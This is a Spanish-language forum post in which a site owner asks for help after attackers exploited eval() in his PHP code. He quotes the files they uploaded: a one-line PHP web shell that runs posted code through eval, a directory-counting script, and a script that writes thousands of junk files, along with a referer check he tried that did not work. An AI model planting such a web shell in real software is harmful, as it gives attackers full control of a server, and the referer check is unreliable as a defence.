Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

[CuriositO]

si quitara el eval, voy a probar pero me imagino que no funcione el resto del codigo, donde llama a las funciones por array que la peticion la hace el js, que forma tendría de validar mi php o mi servidor para que no funcione de forma externa probé con

Código PHP:

if(!strstr($_SERVER['HTTP_REFERER'],"miweb.com"))
header("location: index.html");
 

pero no funcionó, le pusieron a la inyeccion una variable con el nombe http_referer porque mi php precesó todo lo que ellos enviaron, y lo que tengo dudas es si utilizar mi eval para ejecutar su codigo, o alguna otra variable que les permitió crearme archivos dentro del hosting archivos con contenidos por ejemplo:

este es el codigo de index1.php

Código PHP:

<? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
 

tambien subieron este otro con el nombre de max1.php

Código PHP:

<?php $d = dir('prueba/');  while (false !== ($entry = $d->read())) {   $c++; } $d->close();  echo $c;  ?>
 

y este otro que no entendí mucho para que es

Código PHP:

<?php   for ($x=0; $x<=4999; $x++){$a='';   for ($t=0; $t<32;++$t){$a.=chr(rand(97,122));}      $fh=fopen("../$a","w");fwrite($fh,"crack by zorro");fclose($fh);}   $z=file_get_contents('http://miweb.com/mi.php'); ?>
 

o sea que tubieron acceso total, proque al ellos subir esta funcion eval tenía el control total de hosting podia borrar cambiar todo lo que quisiera atravez de codigo php... alguna sugerencia de que hacer o que validar, necesitan el codigo completo del php?